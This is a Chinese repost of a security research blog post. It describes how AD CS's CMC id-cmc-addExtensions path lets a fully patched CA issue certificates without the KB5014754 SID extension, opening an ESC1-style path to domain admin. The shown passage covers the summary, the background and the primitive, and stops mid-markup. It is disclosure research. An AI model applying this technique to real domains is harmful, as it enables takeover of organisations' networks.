  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=705716bc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nSiav96Jic7m1rd3OG9lVOkdYQUMqJpsnK5LmL6CAZibSh2mrznSOVTmdhcJ5dmo1Y2Cdzcx8pnrdQ4IAw8Wpp8MxLzFJB8WB4ib3uw%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>一台完全打过补丁的 AD CS 给我签发了一张客户端认证证书，其中完全没有 szOID_NTDS_CA_SECURITY_EXT。没有请求者 SID——不是我的，也不是任何人的。KB5014754 的全部意义所在的那条扩展，就这样从签发的证书中消失了。</p>
  <table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">原文链接</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">作者</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf=""><a href="https://0xmaz.me/posts/certsrv-id-cmc-addExtensions-KB5014754-bypass/" target="_blank">https://0xmaz.me/posts/certsrv-id-cmc-addExtensions-KB5014754-bypass/</a></span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">Mohamed Alzhrani</span></p></td></tr></tbody></table><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">一台完全打过补丁的 AD CS 给我签发了一张客户端认证证书，其中</span><strong><span leaf="">完全没有 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">szOID_NTDS_CA_SECURITY_EXT</span></code></strong><span leaf="">。没有请求者 SID——不是我的，也不是任何人的。KB5014754 的全部意义所在的那条扩展，就这样从签发的证书中消失了。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这只是三十秒实验运行中的一行输出，却也是整个发现的全部。这篇文章中其他所有内容——反汇编、两个漏洞、最后的域管理员 TGT——都由此衍生而来。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在你关掉这个标签页之前：</span><strong><span leaf="">是的，这需要一个 ESC1 形态的模板，但这并不意味着这是一个配置错误。</span></strong><span leaf="">KB5014754 被包装为那些你无法立即删除的 ESC1 模板的缓解措施。打上补丁、将强制级别设为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">2</span></code><span leaf="">、你遗留的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ENROLLEE_SUPPLIES_SUBJECT</span></code><span leaf="">模板就安全了——这是官方承诺，而现在有大量环境正在依赖这一承诺运行。这篇文章表明，在 CMC 提交路径上，这个承诺并不成立。这不是&#34;ESC1 有问题&#34;——大家都知道 ESC1 有问题。而是&#34;你因为还没来得及消灭 ESC1 而部署的那块补丁，并不能保护你。&#34;我在必须说公道话的部分正面回应了这个论点，并附上了对默认模板的对照实验结果作为佐证。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我报告了这个发现。微软将其关闭为</span><strong><span leaf="">&#34;非漏洞&#34;</span></strong><span leaf="">，并告诉我该证书签发行为&#34;按设计运行&#34;。于是我把它重新放回实验室，记录下了每一个字节。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">速览</span></h2><table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">影响</span></strong></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">非特权域用户 → 域管理员 TGT → krbtgt 哈希</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">前提条件</span></strong></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">一个 ESC1 形态的模板（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ENROLLEE_SUPPLIES_SUBJECT</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">clientAuth</span></code><span leaf="">EKU、低权限可注册、无 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">REQUIRE_UPN</span></code><span leaf="">）</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">击败的防御</span></strong></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">KB5014754 SID 标记、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">StrongCertificateBindingEnforcement = 2</span></code></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">不需要</span></strong></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EDITF_ATTRIBUTESUBJECTALTNAME2</span></code><p><span leaf="">（这不是 ESC6）、注册代理权限、管理员审批</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">厂商状态</span></strong></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">MSRC 案件——关闭为&#34;非漏洞&#34;，无修复</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">测试环境</span></strong></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">Windows Server 2019，OS 版本 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">10.0.17763.8755</span></code><span leaf="">。CA：</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">certsrv.exe 10.0.17763.8385</span></code><span leaf="">，策略模块 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">certpdef.dll 10.0.17763.6893</span></code><span leaf="">。DC：</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">10.0.17763.8511</span></code><span leaf="">，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">StrongCertificateBindingEnforcement = 2</span></code><span leaf="">。Server 2022 / 2025 </span><strong style="margin-bottom: 0px;"><span leaf="">未测试</span></strong><span leaf="">——二进制文件中的代码路径看起来相同，但我没有在那里运行过，所以不做此声明。</span></p></td></tr></tbody></table><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我打算先扎实地铺垫背景。如果你已经深谙 AD CS 内部机制，可以直接跳到原语。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">证书如何变成一次登录</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">PKINIT 是用证书代替密码进行 Kerberos 预认证。你向 KDC 出示一张证书，证明你持有私钥，KDC 就为你出示的证书所代表的安全主体颁发一个 TGT。整件事取决于 KDC 必须回答的一个问题：</span><em><span leaf="">这张证书对应哪个账户？</span></em></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">多年来，答案是&#34;从 SAN（主体可选名称）中读出 UPN，然后用该 UPN 查找账户。&#34;这就是软肋所在。如果你能让 CA 给你签发一张 SAN 为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">administrator@domain</span></code><span leaf="">的证书，而 KDC 按 UPN 映射身份，你就是 administrator。这就是 ESC1 的核心：一个具有 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ENROLLEE_SUPPLIES_SUBJECT</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">clientAuth</span></code><span leaf="">能力 EKU、低权限用户可注册的模板。你自己提供 SAN，你填入 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">administrator</span></code><span leaf="">，你以 administrator 身份进行 PKINIT。搞定。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Certifried 与本应终结一切的补丁</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">CVE-2022-26923（Certifried）和 ESC1 家族迫使微软出手。修复随 </span><strong><span leaf="">KB5014754</span></strong><span leaf="">发布，其中关键的一半存在于一条新的证书扩展中：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">szOID_NTDS_CA_SECURITY_EXT  =  1.3.6.1.4.1.311.25.2</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">思路很清晰。当 CA 签发证书时，它将</span><em><span leaf="">请求者自身的 SID</span></em><span leaf="">盖入该扩展。不是 SAN 声称的那个身份的 SID，而是实际向 CA 认证的那个账户的 SID。然后在 KDC 侧，你设置 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">StrongCertificateBindingEnforcement</span></code><span leaf="">：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">0</span></code><p><span leaf="">禁用，</span></p></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">1</span></code><p><span leaf="">兼容模式，警告但允许，</span></p></li><li style="margin: 15px 0px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">2</span></code><p><span leaf="">完全强制。</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">2</span></code><span leaf="">级别下，KDC 从该扩展中提取 SID 并与 SAN 映射到的账户进行比对。你随便伪造一个 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">administrator</span></code><span leaf="">的 SAN，扩展里携带的仍然是</span><em><span leaf="">你的</span></em><span leaf="">RID，KDC 看到不匹配，就会拒绝请求。纸面上，只要 CA 和 DC 打了补丁且强制级别为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">2</span></code><span leaf="">，ESC1 就已死亡。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">那句&#34;纸面上&#34;承担了极大的工作量。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">原语：CMC 与 id-cmc-addExtensions</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">大多数人以普通 PKCS<a class="wx_topic_link" topic-id="ms3im5fv-kwtncq" style="color: #576B95 !important;" data-topic="1" data-recommend="">#10</a> CSR 提交证书请求。但 AD CS 还会说 </span><strong><span leaf="">CMC</span></strong><span leaf="">（基于 CMS 的证书管理，RFC 5272），这是一种更丰富的封装格式，将你的 CSR 包裹在一个签名的 CMS 结构中，允许你在其中附带</span><em><span leaf="">控制属性</span></em><span leaf="">。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">其中一个控制属性是 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">id-cmc-addExtensions</span></code><span leaf="">：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">id-cmc-addExtensions  =  1.3.6.1.5.5.7.7.8</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">其文档化的用途是允许注册机构代表注册者向请求添加 X.509 扩展。可以把它想象成一条旁路信道，说的是&#34;另外，把这些扩展放进签发的证书里&#34;。该控制属性引用一个 body part（你的 CSR）并携带一组要嫁接上去的扩展列表。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">那个引发这一切的有趣问题很简单：</span><strong><span leaf="">当我通过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">id-cmc-addExtensions</span></code><span leaf="">推送扩展时，CA 是否会将它们通过与注册者自行提供的请求扩展所使用的相同的允许列表？还是说那是一条不同的、更不谨慎的代码路径？</span></strong></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, 